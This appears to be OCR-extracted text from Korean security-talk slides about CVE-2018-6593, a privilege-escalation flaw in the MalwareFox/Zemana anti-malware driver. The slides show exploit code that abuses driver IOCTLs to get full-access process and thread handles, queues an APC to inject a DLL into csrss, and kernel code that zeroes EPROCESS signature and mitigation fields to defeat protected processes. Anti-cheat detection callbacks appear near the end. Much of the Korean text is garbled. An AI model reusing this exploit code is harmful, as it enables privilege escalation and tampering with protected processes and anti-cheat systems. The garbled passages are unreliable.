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+ CVE-2018-6593

o Virus= ZHO}OFSt AntiVirusZt 22 =l A}

Vulnerability CVE=2018-6593

Published: 2018-02-03 Modified: 2018-02-05
Description:

An issue was discovered in MalwareFox AntiMalware 2.74.0.150. Improper access control in zam32.sys and zam64.sys allows a non-privileged process to register itself with the driver by connecting to the filter
communication port and then using IOCTL 0x8000204C to \\.\ZemanaAntiMalware to elevate privileges.

See advisories in our WLB2 database:
Topic Author Date

- MalwareFox AntiMalware 2.74.0.150 Privilege Escalation Souhail Hammou 06.02.2018

- MalwareFox AntiMalware 2.74.0.150 Local Privilege Escalation Souhail Hammou 07.02.2018

¥ CVE(Common Vulnerabilities and Exposure) : Z/{&E =2 2 Zl A EQ0{e] HOlF A N7 7 |H
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PPL (Protected Process Light)

o Windows 8.10A{ /28i&El HS H|Z{L|S
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. GetProcessHandleFromVulnDrv(...); // F 2 ECIO|HE FE TZ2MA == HO| =
. GetThreadHandleFromVulnDrv(...); // ... 28 |E si== €0 =

. NtQueueApcThread(hThread,(PIO_APC _ROUTINE)fpLoadLibrary, target_mem_dll_path, NULL, NULL);

=L AL
Sk~

. ObregisterCallBacks(...); // =™ &

|El

. IsCsrssHaveDangerPipe(...); // =7t 2l mfo|=7} Q! =X| =t2l
. ZwQuerySysteminformation(...); // Z2M|A 0| S22 PIDE & 7| fIoiM ArESt= H'E API
. PsLookupProcessByProcessld(...); // PIDE5E|{ EPROCESS #+ZH|E 71 M &

. DriverLoader(HANDLE service_manager, LPSTR service_name, LPSTR driver_name);

. DllLoader(LPSTR dll_name, LPSTR proc_name);
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HANDLE GetDeviceHandleFromVulnDrv()

{
~-HANDLE GetDeviceHandleFromVulnDrv(); HANDLE hDevice:

BOOL RegisterProcessToVulnDrv(); hDevice = CreateFile(

"WAWW WW-ZemanaAntiMalware”,
GENERIC_READ | GENERIC_WRITE,

HANDLE GetThreadHandleFromVulnDrv(); 0,
NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,
NULL

);
return hDevice:

}
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HANDLE GetProcessHandleFromVulnDrv();
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BOOL RegisterProcessToVulnDrv(HANDLE hDevice,
ULONG pid)
HANDLE GetDeviceHandleFromVulnDrv(); {

If ('DeviceloControl(

- BOOL RegisterProcessToVulnDrv(); hDevice,
0x80002010,
HANDLE GetProcessHandleFromVulnDrv(); &pid
HANDLE GetThreadHandleFromVulnDrv(); sizeof(ULONG),
NULL,
0,
NULL,
NULL))
- E2l0|H{2} S&let PIDE S5 { return FALSE; }

return TRUE;
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HANDLE GetProcessHandleFromVulnDrv(HANDLE
HANDLE GetDeviceHandleFromVulnDrv(); hDevice, ULONG pid)

{
BOOL RegisterProcessToVulnDrv(); HANDLE hRecvProcess:;
-~ HANDLE GetProcessHandleFromVulnDrv(); DeviceloControl(
hDevice, 0x8000204C, &pid, sizeof(ULONG),
HANDLE GetThreadHandleFromVulnDrv(); &hRecvProcess, sizeof(HANDLE), NULL,
NULL
);
return hRecvProcess;
_ Device I/OE Sadll =2l0|8{7} }

CHAl ZEM22] sHESS HHZF
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HANDLE GetThreadHandleFromVulnDrv(HANDLE
HANDLE GetDeviceHandleFromVulnDrv(); hDevice, ULONG tid)

BOOL RegisterProcessToVulnDrv(); {

HANDLE hRecvThread:

HANDLE GetProcessHandleFromVulnDrv(); .
DeviceloControl(
~-HANDLE GetThreadHandleFromVulnDrv(); hDevice, 0x80002084, &tid, sizeof(ULONG),
&hRecvThread, sizeof(HANDLE), NULL,
NULL
);

return hRecvThread:;

' Device I/OE& Sdll =210|H{7} \
CHAl A= HES 20
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NTSTATUS create_dispatch( ... ) {

// Set SignaturelLevel to 0

*(UCHAR*)((UCHAR*)TargetEPROCESS + 0x6b0) =
SE_SIGNING_LEVEL_UNCHECKED;

// Set SectionSignaturelLevel to 0

*(UCHAR*)((UCHAR*)TargetEPROCESS + 0x6b1) =
SE_SIGNING_LEVEL UNCHECKED;

TargetFlags1 = (EPROCESS_FLAGS2*)((UCHAR*)(TargetEPROCESS) +0x300);

// Enable dynamic code
TargetFlags1->DisableDynamicCode = 0;
TargetFlags2 = (EPROCESS_FLAGS3*)((UCHAR*)(TargetEPROCESS) +0x6b4);
// Disable signature Mitigation
TargetFlags2->SignatureMitigationOptin = 0;
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— Suspendlhread
Thread_ APC Queue )

— ResumeThread

1. Suspend
2. Wait
— 3. Alertable Wait
4. Ready

5. Running

VirtualAllocEx

c:\...hack.dll,

- Full-Access

Csrss Handle

Full-AccessThreadHandle1
Full-AccessThreadHandle?2

18

Ntoskrnl

| VulnDrv.sys

GetProcessHandleFromVulnDrv();

> GetThreadHandleFromVulnDrv();
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Anti-Cheat 8 g 1

OB PREOP_CALLBACK STATUS PobPreOperationCallback( ... ) {

iIf(RtiCompareMemory(ChangeProcName, ProtectProcName, strlen(ProtectProcName))
== strlen(ProtectProcName))

{

Operationinformation->Parameters->CreateHandlelInformation.DesiredAccess =
(SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION);

}
return OB PREOP SUCCESS;

} 1. ChangeProceNamell} ProtectProcName
2. LX|5IH MHE2| DesiredAccessE |2 HTHS
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=
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Anti-Cheat 8 ¢t 2
UCHAR IsCsrssHaveDangerPipe(PSYSTEM_HANDLE_INFORMATION_EX pshie, HANDLE pid) {

for (ULONG i=0; i < pshie->NumberOfHandles; i+ +) {
if(((pshie->Handles[i].UniqueProcessld) == pid) &&
(pshie->Handles[i].ObjectTypelndex == OBJECT _TYPE_FILE))
{
FileObject = (PFILE_OBJECT)pshie->Handles[i].Object;
if(FileObject->Flags && FO_NAMED_PIPE) {
poni = (POBJECT_NAME_INFORMATION)GetNameBuffer;
Status = ObQueryNameString(FileObject->DeviceObject, poni, 1028, &ReturnLength);
|f('RtICompareUnlcodeStrmg( '‘WWDeviceWWNamedPipe"”, &(poni->Name), TRUE))

rOl'

} 1. R E MEF PID7} YX|5t= g St Object EFUO| FILEY Ao HES 78
} 2. 218 mio|= 5 d=ol7| ?loll WY mo]=ZQlX| =Ql

} 3. ObQueryNameString= A}26}0{ I}0| = 9] 0|§% 7™M =
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